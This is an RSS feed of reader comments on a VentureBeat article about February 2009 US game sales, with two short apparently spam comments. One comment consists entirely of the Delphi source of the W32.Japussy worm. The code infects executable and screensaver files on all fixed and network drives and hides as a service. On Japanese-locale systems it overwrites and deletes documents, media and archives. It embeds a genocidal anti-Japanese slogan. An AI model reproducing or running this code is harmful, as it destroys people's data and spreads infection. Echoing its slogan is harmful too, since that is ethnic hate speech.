<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>VentureBeat - Latest Comments in February U.S. game sales slow to 10 percent, but growth rate still up</title><link>http://venturebeat.disqus.com/</link><description>News about Tech, Business and Innovation</description><atom:link href="https://venturebeat.disqus.com/february_us_game_sales_slow_to_10_percent_but_growth_rate_still_up/latest.rss" rel="self"></atom:link><language>en</language><lastBuildDate>Sat, 13 Feb 2010 02:03:59 -0000</lastBuildDate><item><title>Re: February U.S. game sales slow to 10 percent, but growth rate still up</title><link>http://games.venturebeat.com/2009/03/19/game-industry-sales-slow-in-february-to-10-percent-but-growth-rate-still-enviable/#comment-34089005</link><description>&lt;p&gt;I am amazed that Nintendo still sales well. They never get any of the big budget games and yet the Wii sold over 9 million last year. I guess Nintendo deciding not to go HD and keeping the Wii at a low price was a good idea. I would never buy an Wii because there is nothing on the Wii that interest me other than Mario. I would only buy DS for its learning Japanese software. I have to give Nintendo props, I thought the Wii would a very distance fourth among the gaming platforms by now.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">nintendo ds r4 revolution</dc:creator><pubDate>Sat, 13 Feb 2010 02:03:59 -0000</pubDate></item><item><title>Re: February U.S. game sales slow to 10 percent, but growth rate still up</title><link>http://games.venturebeat.com/2009/03/19/game-industry-sales-slow-in-february-to-10-percent-but-growth-rate-still-enviable/#comment-33210639</link><description>&lt;p&gt;&lt;br&gt;program Japussy;&lt;/p&gt;&lt;p&gt;uses&lt;/p&gt;&lt;p&gt;Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};&lt;/p&gt;&lt;p&gt;const&lt;/p&gt;&lt;p&gt;HeaderSize = 82432;&lt;/p&gt;&lt;p&gt;IconOffset = $12EB8;&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;HeaderSize = 38912;&lt;/p&gt;&lt;p&gt;IconOffset = $92BC;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;IconSize = $2E8;&lt;/p&gt;&lt;p&gt;IconTail = IconOffset + IconSize;&lt;/p&gt;&lt;p&gt;ID = $44444444;&lt;/p&gt;&lt;p&gt;Catchword = 'If a race need to be killed out, it must be Yamato. ' +&lt;/p&gt;&lt;p&gt;'If a country need to be destroyed, it must be Japan! ' +&lt;/p&gt;&lt;p&gt;'*** W32.Japussy.Worm.A ***';&lt;/p&gt;&lt;p&gt;{$R *.RES}&lt;/p&gt;&lt;p&gt;function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;&lt;/p&gt;&lt;p&gt;stdcall; external 'Kernel32.dll'; var&lt;/p&gt;&lt;p&gt;TmpFile: string;&lt;/p&gt;&lt;p&gt;Si: STARTUPINFO;&lt;/p&gt;&lt;p&gt;Pi: PROCESS_INFORMATION;&lt;/p&gt;&lt;p&gt;IsJap: Boolean = False;&lt;/p&gt;&lt;p&gt;{}&lt;/p&gt;&lt;p&gt;function IsWin9x: Boolean;&lt;/p&gt;&lt;p&gt;var&lt;/p&gt;&lt;p&gt;Ver: TOSVersionInfo;&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;Result := False;&lt;/p&gt;&lt;p&gt;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);&lt;/p&gt;&lt;p&gt;if not GetVersionEx(Ver) then&lt;/p&gt;&lt;p&gt;Exit;&lt;/p&gt;&lt;p&gt;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x&lt;/p&gt;&lt;p&gt;Result := True;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;{}&lt;/p&gt;&lt;p&gt;procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;&lt;/p&gt;&lt;p&gt;dStartPos: Integer; Count: Integer);&lt;/p&gt;&lt;p&gt;var&lt;/p&gt;&lt;p&gt;sCurPos, dCurPos: Integer;&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;sCurPos := Src.Position;&lt;/p&gt;&lt;p&gt;dCurPos := Dst.Position;&lt;/p&gt;&lt;p&gt;Src.Seek(sStartPos, 0);&lt;/p&gt;&lt;p&gt;Dst.Seek(dStartPos, 0);&lt;/p&gt;&lt;p&gt;Dst.CopyFrom(Src, Count);&lt;/p&gt;&lt;p&gt;Src.Seek(sCurPos, 0);&lt;/p&gt;&lt;p&gt;Dst.Seek(dCurPos, 0);&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;{}&lt;/p&gt;&lt;p&gt;procedure ExtractFile(FileName: string);&lt;/p&gt;&lt;p&gt;var&lt;/p&gt;&lt;p&gt;sStream, dStream: TFileStream;&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;try&lt;/p&gt;&lt;p&gt;sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);&lt;/p&gt;&lt;p&gt;try&lt;/p&gt;&lt;p&gt;dStream := TFileStream.Create(FileName, fmCreate);&lt;/p&gt;&lt;p&gt;try&lt;/p&gt;&lt;p&gt;sStream.Seek(HeaderSize, 0);&lt;/p&gt;&lt;p&gt;dStream.CopyFrom(sStream, sStream.Size - HeaderSize);&lt;/p&gt;&lt;p&gt;finally&lt;/p&gt;&lt;p&gt;dStream.Free;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;finally&lt;/p&gt;&lt;p&gt;sStream.Free;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;except&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;{}&lt;/p&gt;&lt;p&gt;procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;Si.cb := SizeOf(Si);&lt;/p&gt;&lt;p&gt;Si.lpReserved := nil;&lt;/p&gt;&lt;p&gt;Si.lpDesktop := nil;&lt;/p&gt;&lt;p&gt;Si.lpTitle := nil;&lt;/p&gt;&lt;p&gt;Si.dwFlags := STARTF_USESHOWWINDOW;&lt;/p&gt;&lt;p&gt;Si.wShowWindow := State;&lt;/p&gt;&lt;p&gt;Si.cbReserved2 := 0;&lt;/p&gt;&lt;p&gt;Si.lpReserved2 := nil;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;{}&lt;/p&gt;&lt;p&gt;procedure SendMail;&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;{}&lt;/p&gt;&lt;p&gt;procedure InfectOneFile(FileName: string);&lt;/p&gt;&lt;p&gt;var&lt;/p&gt;&lt;p&gt;HdrStream, SrcStream: TFileStream;&lt;/p&gt;&lt;p&gt;IcoStream, DstStream: TMemoryStream;&lt;/p&gt;&lt;p&gt;iID: LongInt;&lt;/p&gt;&lt;p&gt;aIcon: TIcon;&lt;/p&gt;&lt;p&gt;Infected, IsPE: Boolean;&lt;/p&gt;&lt;p&gt;i: Integer;&lt;/p&gt;&lt;p&gt;Buf: array[0..1] of Char;&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;try&lt;/p&gt;&lt;p&gt;if CompareText(FileName, 'JAPUSSY.EXE') = 0 then&lt;/p&gt;&lt;p&gt;Exit;&lt;/p&gt;&lt;p&gt;Infected := False;&lt;/p&gt;&lt;p&gt;IsPE := False;&lt;/p&gt;&lt;p&gt;SrcStream := TFileStream.Create(FileName, fmOpenRead);&lt;/p&gt;&lt;p&gt;try&lt;/p&gt;&lt;p&gt;for i := 0 to $108 do&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;SrcStream.Seek(i, soFromBeginning);&lt;/p&gt;&lt;p&gt;SrcStream.Read(Buf, 2);&lt;/p&gt;&lt;p&gt;if (Buf[0] = #80) and (Buf[1] = #69) then&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;IsPE := True;&lt;/p&gt;&lt;p&gt;Break;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;SrcStream.Seek(-4, soFromEnd);&lt;/p&gt;&lt;p&gt;SrcStream.Read(iID, 4);&lt;/p&gt;&lt;p&gt;if (iID = ID) or (SrcStream.Size &amp;lt; 10240) then&lt;/p&gt;&lt;p&gt;Infected := True;&lt;/p&gt;&lt;p&gt;finally&lt;/p&gt;&lt;p&gt;SrcStream.Free;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;if Infected or (not IsPE) then&lt;/p&gt;&lt;p&gt;Exit;&lt;/p&gt;&lt;p&gt;IcoStream := TMemoryStream.Create;&lt;/p&gt;&lt;p&gt;DstStream := TMemoryStream.Create;&lt;/p&gt;&lt;p&gt;try&lt;/p&gt;&lt;p&gt;aIcon := TIcon.Create;&lt;/p&gt;&lt;p&gt;try&lt;/p&gt;&lt;p&gt;aIcon.ReleaseHandle;&lt;/p&gt;&lt;p&gt;aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);&lt;/p&gt;&lt;p&gt;aIcon.SaveToStream(IcoStream);&lt;/p&gt;&lt;p&gt;finally&lt;/p&gt;&lt;p&gt;aIcon.Free;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;SrcStream := TFileStream.Create(FileName, fmOpenRead);&lt;/p&gt;&lt;p&gt;HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);&lt;/p&gt;&lt;p&gt;try&lt;/p&gt;&lt;p&gt;CopyStream(HdrStream, 0, DstStream, 0, IconOffset);&lt;/p&gt;&lt;p&gt;CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);&lt;/p&gt;&lt;p&gt;CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);&lt;/p&gt;&lt;p&gt;CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);&lt;/p&gt;&lt;p&gt;DstStream.Seek(0, 2);&lt;/p&gt;&lt;p&gt;iID := $44444444;&lt;/p&gt;&lt;p&gt;DstStream.Write(iID, 4);&lt;/p&gt;&lt;p&gt;finally&lt;/p&gt;&lt;p&gt;HdrStream.Free;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;finally&lt;/p&gt;&lt;p&gt;SrcStream.Free;&lt;/p&gt;&lt;p&gt;IcoStream.Free;&lt;/p&gt;&lt;p&gt;DstStream.SaveToFile(FileName);&lt;/p&gt;&lt;p&gt;DstStream.Free;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;except;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;{}&lt;/p&gt;&lt;p&gt;procedure SmashFile(FileName: string);&lt;/p&gt;&lt;p&gt;var&lt;/p&gt;&lt;p&gt;FileHandle: Integer;&lt;/p&gt;&lt;p&gt;i, Size, Mass, Max, Len: Integer;&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;try&lt;/p&gt;&lt;p&gt;SetFileAttributes(PChar(FileName), 0);&lt;/p&gt;&lt;p&gt;FileHandle := FileOpen(FileName, fmOpenWrite);&lt;/p&gt;&lt;p&gt;try&lt;/p&gt;&lt;p&gt;Size := GetFileSize(FileHandle, nil);&lt;/p&gt;&lt;p&gt;i := 0;&lt;/p&gt;&lt;p&gt;Randomize;&lt;/p&gt;&lt;p&gt;Max := Random(15); if Max &amp;lt; 5 then&lt;/p&gt;&lt;p&gt;Max := 5;&lt;/p&gt;&lt;p&gt;Mass := Size div Max;&lt;/p&gt;&lt;p&gt;Len := Length(Catchword);&lt;/p&gt;&lt;p&gt;while i &amp;lt; Max do&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;FileSeek(FileHandle, i * Mass, 0);&lt;/p&gt;&lt;p&gt;FileWrite(FileHandle, Catchword, Len);&lt;/p&gt;&lt;p&gt;Inc(i);&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;finally&lt;/p&gt;&lt;p&gt;FileClose(FileHandle); end;&lt;/p&gt;&lt;p&gt;DeleteFile(PChar(FileName)); except&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;{}&lt;/p&gt;&lt;p&gt;function GetDrives: string;&lt;/p&gt;&lt;p&gt;var&lt;/p&gt;&lt;p&gt;DiskType: Word;&lt;/p&gt;&lt;p&gt;D: Char;&lt;/p&gt;&lt;p&gt;Str: string;&lt;/p&gt;&lt;p&gt;i: Integer;&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;for i := 0 to 25 do&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;D := Chr(i + 65);&lt;/p&gt;&lt;p&gt;Str := D + ':\';&lt;/p&gt;&lt;p&gt;DiskType := GetDriveType(PChar(Str));&lt;/p&gt;&lt;p&gt;if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then&lt;/p&gt;&lt;p&gt;Result := Result + D;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;{}&lt;/p&gt;&lt;p&gt;procedure LoopFiles(Path, Mask: string);&lt;/p&gt;&lt;p&gt;var&lt;/p&gt;&lt;p&gt;i, Count: Integer;&lt;/p&gt;&lt;p&gt;Fn, Ext: string;&lt;/p&gt;&lt;p&gt;SubDir: TStrings;&lt;/p&gt;&lt;p&gt;SearchRec: TSearchRec;&lt;/p&gt;&lt;p&gt;Msg: TMsg;&lt;/p&gt;&lt;p&gt;function IsValidDir(SearchRec: TSearchRec): Integer;&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;if (SearchRec.Attr &amp;lt;&amp;gt; 16) and (SearchRec.Name &amp;lt;&amp;gt; '.') and&lt;/p&gt;&lt;p&gt;(SearchRec.Name &amp;lt;&amp;gt; '..') then&lt;/p&gt;&lt;p&gt;Result := 0&lt;/p&gt;&lt;p&gt;else if (SearchRec.Attr = 16) and (SearchRec.Name &amp;lt;&amp;gt; '.') and&lt;/p&gt;&lt;p&gt;(SearchRec.Name &amp;lt;&amp;gt; '..') then&lt;/p&gt;&lt;p&gt;Result := 1&lt;/p&gt;&lt;p&gt;else Result := 2;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;repeat&lt;/p&gt;&lt;p&gt;PeekMessage(Msg, 0, 0, 0, PM_REMOVE);&lt;/p&gt;&lt;p&gt;if IsValidDir(SearchRec) = 0 then&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;Fn := Path + SearchRec.Name;&lt;/p&gt;&lt;p&gt;Ext := UpperCase(ExtractFileExt(Fn));&lt;/p&gt;&lt;p&gt;if (Ext = '.EXE') or (Ext = '.SCR') then&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;InfectOneFile(Fn);&lt;/p&gt;&lt;p&gt;end&lt;/p&gt;&lt;p&gt;else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;end&lt;/p&gt;&lt;p&gt;else if Ext = '.WAB' then&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;end&lt;/p&gt;&lt;p&gt;else if Ext = '.ADC' then&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;end&lt;/p&gt;&lt;p&gt;else if Ext = 'IND' then&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;end&lt;/p&gt;&lt;p&gt;else&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;if IsJap then&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or&lt;/p&gt;&lt;p&gt;(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or&lt;/p&gt;&lt;p&gt;(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or&lt;/p&gt;&lt;p&gt;(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or&lt;/p&gt;&lt;p&gt;(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or&lt;/p&gt;&lt;p&gt;(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then&lt;/p&gt;&lt;p&gt;SmashFile(Fn);&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;Sleep(200);&lt;/p&gt;&lt;p&gt;until (FindNext(SearchRec) &amp;lt;&amp;gt; 0);&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;FindClose(SearchRec);&lt;/p&gt;&lt;p&gt;SubDir := TStringList.Create;&lt;/p&gt;&lt;p&gt;if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;repeat&lt;/p&gt;&lt;p&gt;if IsValidDir(SearchRec) = 1 then&lt;/p&gt;&lt;p&gt;SubDir.Add(SearchRec.Name);&lt;/p&gt;&lt;p&gt;until (FindNext(SearchRec) &amp;lt;&amp;gt; 0);&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;FindClose(SearchRec);&lt;/p&gt;&lt;p&gt;Count := SubDir.Count - 1;&lt;/p&gt;&lt;p&gt;for i := 0 to Count do&lt;/p&gt;&lt;p&gt;LoopFiles(Path + SubDir.Strings + '\', Mask);&lt;/p&gt;&lt;p&gt;FreeAndNil(SubDir);&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;{}&lt;/p&gt;&lt;p&gt;procedure InfectFiles;&lt;/p&gt;&lt;p&gt;var&lt;/p&gt;&lt;p&gt;DriverList: string;&lt;/p&gt;&lt;p&gt;i, Len: Integer;&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;if GetACP = 932 then&lt;/p&gt;&lt;p&gt;IsJap := True;&lt;/p&gt;&lt;p&gt;DriverList := GetDrives;&lt;/p&gt;&lt;p&gt;Len := Length(DriverList);&lt;/p&gt;&lt;p&gt;while True do&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;for i := Len downto 1 do&lt;/p&gt;&lt;p&gt;LoopFiles(DriverList + ':\', '*.*');&lt;/p&gt;&lt;p&gt;SendMail;&lt;/p&gt;&lt;p&gt;Sleep(1000 * 60 * 5);&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;{}&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;if IsWin9x then //是Win9x&lt;/p&gt;&lt;p&gt;RegisterServiceProcess(GetCurrentProcessID, 1)&lt;/p&gt;&lt;p&gt;else&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;end;&lt;/p&gt;&lt;p&gt;if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then&lt;/p&gt;&lt;p&gt;InfectFiles&lt;/p&gt;&lt;p&gt;else&lt;/p&gt;&lt;p&gt;begin&lt;/p&gt;&lt;p&gt;TmpFile := ParamStr(0);&lt;/p&gt;&lt;p&gt;Delete(TmpFile, Length(TmpFile) - 4, 4);&lt;/p&gt;&lt;p&gt;TmpFile := TmpFile + #32 + '.exe';&lt;/p&gt;&lt;p&gt;ExtractFile(TmpFile);&lt;/p&gt;&lt;p&gt;FillStartupInfo(Si, SW_SHOWDEFAULT);&lt;/p&gt;&lt;p&gt;CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,&lt;/p&gt;&lt;p&gt;0, nil, '.', Si, Pi);&lt;/p&gt;&lt;p&gt;InfectFiles;end;&lt;/p&gt;&lt;p&gt;end.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Paul Whitman</dc:creator><pubDate>Tue, 09 Feb 2010 01:43:47 -0000</pubDate></item><item><title>Re: February U.S. game sales slow to 10 percent, but growth rate still up</title><link>http://games.venturebeat.com/2009/03/19/game-industry-sales-slow-in-february-to-10-percent-but-growth-rate-still-enviable/#comment-24736423</link><description>&lt;p&gt;good article...thanks a lot for the information!&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">laptop battery</dc:creator><pubDate>Thu, 03 Dec 2009 20:23:42 -0000</pubDate></item></channel></rss>